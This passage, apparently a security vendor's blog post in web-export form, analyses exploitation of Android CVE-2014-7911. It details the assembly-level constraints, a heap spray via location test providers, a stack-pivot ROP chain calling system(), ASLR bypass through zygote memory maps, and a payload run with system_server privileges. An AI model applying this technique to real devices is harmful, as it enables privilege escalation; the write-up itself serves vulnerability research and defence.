source<\/a>:<\/p>\nvoid RefBase::decStrong(const void* id) const\r\n{\r\n weakref_impl* const refs = mRefs;\r\n refs->removeStrongRef(id);\r\n const int32_t c = android_atomic_dec(&refs->mStrong);\r\n#if PRINT_REFS\r\n ALOGD(\"decStrong of %p from %p: cnt=%d\\n\", this, id, c);\r\n#endif\r\n ALOG_ASSERT(c >= 1, \"decStrong() called on %p too many times\", refs);\r\n if (c == 1) {\r\n refs->mBase->onLastStrongRef(id);\r\n if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) {\r\n delete this;\r\n }\r\n }\r\n refs->decWeak(id);\r\n}\r\n<\/pre>\nNote the line refs->mBase->onLastStrongRef(id);\u00a0These lines will eventually lead to arbitrary code execution.<\/strong><\/p>\nIn the following screenshot of RefBase::decStrong assembly, the attacker controls r0('this pointer')<\/p>\n
![\"cve]()
<\/span><\/div><\/p>\nExploitation<\/h3>\n
The first use of the controlled register r0, which contains the 'this' pointer (drl) is in these lines:<\/p>\n
weakref_impl* const refs = mRefs;\r\nrefs->removeStrongRef(id);\r\nconst int32_t c = android_atomic_dec(&refs->mStrong);\r\n<\/pre>\nThese lines are translated to the following assembly:<\/p>\n
ldr r4, [r0, #4] # attacker controls r4\r\nmov r6, r1\r\nmov r0, r4\r\nblx <android_atomic_dec ()>\r\n<\/pre>\nFirst, r4 is loaded with the mRefs variable.<\/p>\n
ldr r4, [r0, #4] # attacker controls r4<\/pre>\nNote that r0 is the 'this' pointer of the drl, and mRefs is the first private variable following the virtual function table, hence it is 4 bytes after 'this' pointer.<\/strong><\/p>\nThen, android_atomic_dec is being called with &refs->mStrong<\/p>\n
\tconst int32_t c = android_atomic_dec(&refs->mStrong);<\/pre>\nThis is translated to:<\/p>\n
mov r0, r4\r\n blx <android_atomic_dec ()>\r\n<\/pre>\nr0 now contains &refs->mStrong.<\/p>\n
Note that the mStrong variable is the first data member of refs\u00a0(in the class weakref_impl), and that this class contains no virtual functions, hence it does not contain a vtable, so the mStrong variable is at offset 0 of r4.<\/strong><\/p>\nAs one can tell - \u00a0the line refs->removeStrongRef(id); is not present in the assembly\u00a0 simply because the compiler optimized and omitted it, since it has an empty implementation, as one can see from the following code:<\/p>\n
void removeStrongRef(const void* \/*id*\/) { }<\/pre>\nFollowing the call to android_atomic_dec are these lines of code:<\/p>\n
if (c == 1) {\r\n\trefs->mBase->onLastStrongRef(id);\r\n<\/pre>\nThese are translated to the following assembly lines:<\/p>\n
cmp r0, #1\r\nbne.n d1ea\r\nldr r0, [r4, #8] \r\nmov r1, r6\r\nldr r3, [r0, #0] \r\nldr r2, [r3, #12]\r\nblx r2 \r\n<\/pre>\nNote that android_atomic_dec returns the value of the specified memory address before the decrement took place. So in order to invoke refs->mBase->onLastStrongRef(id) (blx r2), we must get refs->mStrong to get the value of 1.<\/strong><\/p>\nAs we can see up to now, an attacker has several constraints that he must adhere to if he wishes to gain code execution:<\/p>\n
\n- drl (our first controlled pointer, i.e. r0 when entering decStrong) must point to a readable memory location.<\/li>\n
- refs->mStrong must have the value of 1<\/li>\n
- The dereference chain at the line refs->mBase->onLastStrongRef(id) must succeed and eventually point to an executable address.<\/li>\n<\/ol>\n
In addition, an attacker must overcome the usual obstacles of exploitation - ASLR<\/strong> and DEP<\/strong>.<\/p>\nOne can employ basic techniques to fulfill these requirements and overcome the mentioned security mechanisms, including heap spraying, stack pivoting and ROP. <\/strong>Let\u2019s look at these in detail.<\/b><\/p>\nHeap spray<\/h3>\n
An attacker's first step will be to get a reliable readable address with arbitrary data - most commonly achieved by a heap spray.<\/p>\n
The system server provides several core functionalities for the android device, many of which are exposed to applications via various service interfaces.<\/p>\n
A common paradigm to invoke a service in the context of the system server is like the following:<\/p>\n
LocationManager lm = (LocationManager)getSystemService(LOCATION_SERVICE);<\/pre>\nThe acquired manager allows us to invoke functionality in the system server on behalf of us, via IPC.<\/p>\n
Several services can be used by us for a heap spray, but for the purpose of this blog, we decided to use a heap spray that requires special app permissions, to prevent normal applications from utilizing this technique.<\/p>\n
The location manager allows us to register test providers via the function addTestProvider - allowing us to pass an arbitrary name that contains arbitrary data. As we mentioned, one should enable developer options and enable the mock locations option in order to utilize this.<\/p>\n
lm.addTestProvider(builder.toString(), false, false, false, false, false, false, false, 1, 1);<\/pre>\nNote that this heap spray does have its limitations \u2013 the data is sprayed using the name field, which is Unicode. This imposes a limitation \u2013 we are limited to byte sequences which correspond to valid Unicode code points.<\/strong><\/p>\nSpray addresses manipulation<\/h4>\n
After spraying the system server process memory address space, we encountered another issue - our chosen static address indeed pointed to readable data on each run, but not to the exact same offset in the spray chunk each time.<\/p>\n
We decided to solve this problem by crafting a special spray that contains decreasing pointer values.<\/p>\n
Here is an illustration of the sprayed buffer, followed by an explanation of its structure:<\/p>\n
![\"cve]()
<\/span><\/div><\/p>\nSTATIC_ADDRESS<\/strong> is the arbitrarily chosen static pointer in mOrgue.
\nGADGET_BUFFER_OFFSET<\/strong> is the offset of GADGET_BUFFER from the beginning of the spray.<\/p>\nIn each run of system server process, the static address we chose points to our controlled data, but with different offsets.<\/p>\n
r0 (which always <\/strong>hold the same chosen STATIC_ADDRESS<\/strong>) can fall to any offset in the \"Relative Address Chunk\", therefore point to any of the STATIC_ADDRESS + GADGET_BUFFER_OFFSET - 4N<\/strong> addresses, on each time.<\/p>\nNote the following equation:<\/strong><\/p>\nGADGET_BUFFER = Beginning_of_spray + GADGET_BUFFER_OFFSET<\/strong><\/p>\nIn the case that r0 (=STATIC_ADDRESS<\/strong>) points to the beginning of the spray : STATIC_ADDRESS = Beginning_of_spray.<\/p>\nHence: GADGET_BUFFER =<\/strong> STATIC_ADDRESS + GADGET_BUFFER_OFFSET<\/strong><\/p>\nOn any other case \u2013 r0(=STATIC_ADDRESS<\/strong>) points to an offset inside the spray (the offset is dword aligned):<\/p>\nSTATIC_ADDRESS = Beginning_of_spray + 4N<\/p>\n
Beginning_of_spray = STATIC_ADDRESS \u2013 4N.<\/p>\n
Hence: GADGET_BUFFER =<\/strong> STATIC_ADDRESS + GADGET_BUFFER_OFFSET \u2013 4N
\n<\/strong><\/p>\nThe higher offset in the chunk that r0(=STATIC_ADDRESS) points to, the more we have to subtract to make the expression:<\/p>\n
STATIC_ADDRESS + GADGET_BUFFER_OFFSET - 4N points to GADGET_BUFFER.<\/p>\n
No matter to which offset in the chunk r0 points to, dereference it<\/strong> would give us the current address of GADGET_BUFFER.\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/strong><\/p>\nBut where do we get if we dereference the other addresses in the chunk?<\/p>\n
As farther as we go above<\/strong> r0, the farther the dereference would bring us below<\/strong> GADGET_BUFFER.<\/p>\n![\"cve]()
<\/span><\/div><\/p>\nNow that we have a valid working spray, let\u2019s go back to analyzing the assembly.<\/p>\n
ldr \t r4, [r0, #4]\r\nmov r0, r4\r\nblx <android_atomic_dec ()>\r\ncmp r0, #1\r\n<\/pre>\nSo to overcome the second constraint \u2013 in which refs->mStrong must contain 1<\/p>\n
ldr r4, [r0, #4] \u00a0--> \u00a0 r4=[STATIC_ADDRESS + 4]\u00a0\u00a0\u00a0-->\u00a0 r4 = GADGET_BUFFER-4<\/pre>\n[r4] should contain 1, hence [GADGET_BUFFER - 4] should contains 1.<\/p>\n
Now, after atomic_dec return value is indeed 1, we should overcome the other dereferences to get to the blx opcode.<\/p>\n
cmp r0, #1\r\nbne.n d1ea\r\n\r\nr4=GADGET_BUFFER - 4\r\nldr r0, [r4, #8] \r\nr0 = [GADGET_BUFFER - 4 + 8] <-> r0 = [GADGET_BUFFER + 4]\r\nmov r1, r6\r\nldr r3, [r0, #0] \r\nr3 = [[GADGET_BUFFER + 4] + 0] <-> r3 = [[GADGET_BUFFER + 4]]\r\n<\/pre>\nNote\u00a0in order to succeed with this dereference, [GADGET_BUFFER + 4] should contain a KNOWN valid address.<\/strong><\/p>\nWe arbitrarily chose the known address - STATIC_ADDRESS.<\/p>\n
![\"cve]()
<\/span><\/div><\/p>\nldr r2, [r3, #12]\r\nr2 = [GADGET_BUFFER + 12]\r\nblx r2\r\n<\/pre>\nSo now we can build the GADGET_BUFFER as following:<\/p>\n
![\"cve]()
<\/span><\/div><\/p>\nROP CHAIN<\/h3>\n
We chose to run the \"system\" function with a predefined command line.<\/p>\n
In order to control the r0 register, and make it point to the command line string, we should use some gadgets that would manipulate the registers.<\/p>\n
We got only one function call, so to take control on the execution flow with our gadgets, we should use a stack pivot<\/strong> gadget.<\/p>\nTherefore, the first function pointer is the preparations for the stack pivot gadget:<\/p>\n
![\"cve]()
<\/span><\/div><\/p>\nWhere r5 equals to the original r0 (STATIC_ADDRESS) as one can see at the beginning of decStrong.<\/p>\n
mov r0,r5 - Restoring r0 to its original value.\r\n\r\nldr r7, [r5]\r\n\r\nr7 = [r5] r7=[STATIC_ADDRESS] r7 = GADGET_BUFFER\r\nldr r2, [r7,#0x54]\r\nr2 = [r7 + 0x54] r2 = [GADGET_BUFFER + 84]\r\nblx r2\r\n<\/pre>\nCall to the next gadget - which should be 21(=0x54 \/ 4) dwords from the beginning of GADGET_BUFFER<\/p>\n
![\"cve]()
<\/span><\/div><\/p>\nThis gadget does the Stack Pivoting.<\/p>\n
SP register points to r7 \u2013 therefore the stack is under our control and points to GADGET_BUFFER<\/strong>.<\/strong><\/p>\nRet to the next gadget that should be kept 8<\/strong> dwords from the beginning of GADGET_BUFFER<\/p>\n(Note the pop<\/strong>\u00a0\u00a0\u00a0\u00a0 {r4-<\/strong>r11,<\/strong>pc} instruction, which pops 8<\/strong> registers off the stack before popping pc).<\/p>\n![\"cve]()
<\/span><\/div><\/p>\nr0 = [r0 + 0x38] r0 = GADGET_BUFFER - 0x38 (As explained before about the spray)<\/pre>\nNow r0 points to 56 (0x38) bytes before GADGET_BUFFER, so we have 52 command line chars, excluding the \"1\" for atomic_dec.<\/p>\n
Ret to the next gadget that should be kept 10 dwords from the beginning of GADGET_BUFFER (2 dwords after the current gadget \u2013 pop<\/strong>\u00a0\u00a0\u00a0\u00a0 {r3,<\/strong>pc})<\/p>\n![\"cve]()
<\/span><\/div><\/p>\nThat is the last gadget where we call system!<\/p>\n
Here is an updated layout of the memory for this to happen:<\/p>\n
![\"cve]()
<\/span><\/div><\/p>\nAndroid and ARM<\/h4>\n
There are two important issues we should keep in mind when choosing the gadgets addresses.<\/p>\n
\n- There is an ASLR mechanism on Android, and the addresses wouldn't be the same on each and every time. In order to know the correct address, we use the fact that both system server process, and our app are forked from the same process - ZYGOTE, meaning we share the same modules. So we get the address of the necessary modules in system server process, by parsing the maps file of our process. 'maps' is a file in \/proc\/<pid>\/maps which contains the memory layout and the loaded modules addresses.<\/li>\n
- On ARM CPU, there are two modes of opcode parsing: ARM (4 bytes per opcode) and THUMB (variable bytes per opcode \u2013 2 or 4). Meaning that the same address pointed by PC, could be parsed differently by the cpu when running in different modes. Parts of the gadgets we use are in the THUMB mode. <\/strong>In order to make the processor change its mode when parsing those gadgets, we change<\/strong> the pointer address from the actual address, to (address & 1) - turning on the LSB, which make the cpu jmp to the correct address with THUMB mode.<\/li>\n<\/ul>\n
PAYLOAD<\/h3>\n
As described before, we use the \"system\" function to run our command line. The length of the command line is limited, and actually a command line can't be used for every purpose. So we decided to use a pre compiled elf, that being written to the file system, as an asset of our app. This elf can do anything with uid 1000 (the uid of system server). The command line we send as an argument to system is simply \u2013<\/p>\n
\"sh -c \" + file_path<\/p>\n
CONCLUSION<\/h3>\n
Android has some common security mechanisms such as ASLR and DEP which should make an exploitation of vulnerability harder to achieve.<\/p>\n
Moreover, every application runs in its own process, so the IPC communication could be validated, and making guesses on memory layout shouldn't be intuitive. On the other hand, the fact that every process is forked from the same process makes ASLR irrelevant for vulnerabilities within zygote's sons and the binder connection from every process to system server could lead to heap spray as seen on this post. Those issues appear to be inherent in the Android OS design.<\/p>\n
Palo Alto Networks has been researching an Android security solution that based on our lab testing would have blocked this exploit (as well as other exploits) with multiple exploit mitigation modules. We hope to share more details in the coming months.<\/p>\n","protected":false},"excerpt":{"rendered":"
In this post we discuss CVE-2014-7911 and the various techniques that can be used to achieve privilege escalation. We also examine how some of these techniques can be blocked using several security …<\/p>\n","protected":false},"author":112,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[131,76,108],"tags":[172,995,325],"coauthors":[996,998],"class_list":["post-7779","post","type-post","status-publish","format-standard","hentry","category-malware-2","category-mobility","category-threat-prevention-2","tag-android","tag-cve-2014-7911","tag-vulnerability"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/posts\/7779","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/users\/112"}],"replies":[{"embeddable":true,"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/comments?post=7779"}],"version-history":[{"count":10,"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/posts\/7779\/revisions"}],"predecessor-version":[{"id":8089,"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/posts\/7779\/revisions\/8089"}],"wp:attachment":[{"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/media?parent=7779"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/categories?post=7779"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/tags?post=7779"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/coauthors?post=7779"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"cve](\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-1-500x289.png\")
<\/span><\/div><\/p>\n![\"cve](\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-2.png\")
<\/span><\/div><\/p>\n![\"cve](\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-3-500x312.png\")
<\/span><\/div><\/p>\n![\"cve](\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-4-230x103.png\")
<\/span><\/div><\/p>\n![\"cve](\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-5.png\")
<\/span><\/div><\/p>\n![\"cve](\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-61.png\")
<\/span><\/div><\/p>\n![\"cve](\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-71.png\")
<\/span><\/div><\/p>\n![\"cve](\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-8.png\")
<\/span><\/div><\/p>\n![\"cve](\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-9.png\")
<\/span><\/div><\/p>\n![\"cve](\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-10.png\")
<\/span><\/div><\/p>\n